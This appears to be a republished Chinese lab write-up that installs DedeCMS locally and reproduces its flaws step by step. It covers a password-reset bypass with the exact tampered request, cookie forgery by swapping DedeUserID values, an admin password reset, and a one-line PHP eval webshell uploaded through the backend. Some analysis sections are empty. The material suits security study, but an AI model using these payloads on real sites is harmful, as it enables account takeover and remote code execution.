DebeCMS环境搭建以及漏洞复现
Posted Landay0728
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DebeCMS环境搭建以及漏洞复现相关的知识,希望对你有一定的参考价值。
前言
织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的php开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。
一、环境搭建
下载DedeCMS并源码解压到phpstuday目录下
然后输入http://localhost/uploads/install/index.php进入安装界面
进入环境检测页面
进入参数配置页面
安装完成
访问首页 http://localhost/uploads/index.html
登录后台(默认用户、密码 admin admin)
默认管理后台路径:http://localhost/uploads/dede/login.php
首页访问慢解决方案
注释以下代码(DedeCMS-V5.7-UTF8-SP2\\uploads\\dede\\templets\\index_body.htm)
$(function()
{
$.get("index_testenv.php",function(data)
{
if(data !== '')
{
$("#__testEvn").html(data);
}
});
$.get("index_body.php?dopost=get_seo",function(data)
{
if(data !== '')
{
$("#SEOInfo").html(data);
}
});
});
注释以下代码(DedeCMS-V5.7-UTF8-SP2\\uploads\\include\\helpers\\mda.helper.php)
define('MDA_APIHOST', 'http://ssp.desdev.cn');
define('MDA_JQUERY', MDA_APIHOST.'/assets/js/jquery.min.js');
define('MDA_REG_URL', MDA_APIHOST.'/home/register');
define('MDA_FORGOT_PASSWORD_URL', MDA_APIHOST.'/home/forgot_password');
define('MDA_UPDATE_URL', MDA_APIHOST.'/home/update');
define('MDA_API_BIND_USER', MDA_APIHOST.'/api_v1/dedecms/bind_user');
define('MDA_API_LOGIN', MDA_APIHOST.'/api_v1/dedecms/login');
define('MDA_API_CHECK_LOGIN', MDA_APIHOST.'/api_v1/dedecms/check_login');
define('MDA_API_GET_PLACE', MDA_APIHOST.'/api_v1/dedecms/get_place');
注释以下代码(DedeCMS-V5.7-UTF8-SP2\\uploads\\data\\admin\\config_update.php)
代码里面包含*dedecms.com 都可以注释了
define('UPDATEHOST', 'http://updatenew.dedecms.com/base-v57/');
define('LINKHOST', 'http://flink.dedecms.com/server_url.php');
二、漏洞分析以及复现
任意修改前台用户密码
漏洞成因
在用户密码重置处,php存在弱类型比较,导致如果用户没有设置密保问题的情况下可以绕过验证密保问题,直接修改密码(管理员默认不设置密保问题)。注意:修改的密码是member表中的密码(前台),即使修改了管理员密码也member表中的管理的密码,仍是无法进入管理后台。
漏洞代码分析
其中 $row['safequestion'] == $safequestion && $row['safeanswer'] ==$safeanswer
代码是问题的关键,首先我们知道,如果没有设置密保的话$row['safequestion']
从数据库取出默认为’0’,$row['safeanswer']
为空,且变量$safeanswer
与$safequestion
是用户可控制的变量,又使用了 ==进行判断, 因此该判断规则存在弱类型问题。根据empty函数特性,‘0’会被判断为空,会进入重新将$safequestion赋值为’’。而’0’ != ‘’,所以我们需要一个输入即不使empty为空,且弱类型等于’0’的字符串。‘00’、‘000’、'0.0’以上这些都是可以的。
empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。
当 var 存在,并且是一个非空非零的值时返回 FALSE 否则返回 TRUE。
以下的变量会被认为是空的:
“” (空字符串)
0 (作为整数的0)
0.0 (作为浮点数的0)
“0” (作为字符串的0)
NULL FALSE array() (一个空数组)
$var; (一个声明了,但是没有值的变量)
漏洞复现
注册、登录不了
进入后台管理开启会员功能
注册一个账户(格式为1xxx 或者001 00001 00001这种格式 )
注册成功
进入会员中心 退出用户
点击忘记密码 http://192.168.204.129/uploads/member/resetpassword.php
输入用户名、邮箱 点击通过安全问题取回
安全问题
通过BurpSuite 改包把
dopost=safequestion&id=9&userid=001&safequestion=0&safeanswer=SDFS&vdcode=fykc替换成
dopost=safequestion&id=1&userid=001&safequestion=00&safeanswer=&vdcode=fykc
获取重置密码的链接(http://192.168.204.129/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=PuzjtPi)
进入url修改密码(admin123 )
重置密码出现非法提交
出现非法提交如下图
就把http://localhost/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=92L1YcQ2
拆分成http://localhost/uploads/member/resetpassword.php?dopost=getpasswd&id=1直接访问URL 临时密码就是92L1YcQ2
更改密码成功
cookie伪造任意前台用户登录
漏洞成因
dedecms的会员模块的身份认证使用的客户端session,在cookie中写入用户ID并且附上ID_ckMd5,用来做签名,主页存在逻辑漏洞,导致可以返回指定uid的id的MD5散列值,原理上可以伪造任意用户登录。
漏洞代码分析
漏洞复现
登录会员中心
进入个人空间 提示空间禁止访问
进入后台管理开放权限
资料状态改为:正常使用或者审核通过都可以
打开Burp Suite 拦截功能进入001的个人空间
DedeUserID的值替换成last_vid的值
last_vid__ckMd5的值替换成DedeUserID__ckMd5的值
forward 进入了
切换到会员中心刷新一下
再次进行替换
DedeUserID的值替换成last_vid的值
last_vid__ckMd5的值替换成DedeUserID__ckMd5的值
forward
我这里是使用Burp Suite拦截进行替换有点繁琐每次都需要替换DedeUserID和last_vid 可以使用cookie修改插件 比如EditThisCookie
前台文件上传漏洞
漏洞成因
漏洞代码分析
任意重置后台用户密码
漏洞成因
当使用admin用户登录前台进行密码修改的时候会顺带讲admin的后台密码也进行修改了。
漏洞代码分析
漏洞复现
先利用前台用户密码重置漏洞重置admin的前台密码,然后使用cookie伪造漏洞登录到admin前台在如下页面进行密码重置,旧密码便是利用任意前台用户密码重置漏洞amdin的前台密码(admin123),新密码自行设置
修改成功
访问后台管理用修改的密码进行登录(admin)
后台任意文件上传
漏洞成因
漏洞代码分析
漏洞复现
进入后台管理 → 文件式管理 → 文件上传
上传1.php 一句话木马(<?php eval($_POST[x]);?>)
使用蚁剑连接
总结
以上是关于DebeCMS环境搭建以及漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章
CVE-2017-7269 IIS6.0远程代码执行漏洞复现
Samba远程代码执行漏洞(CVE-2017-7494)复现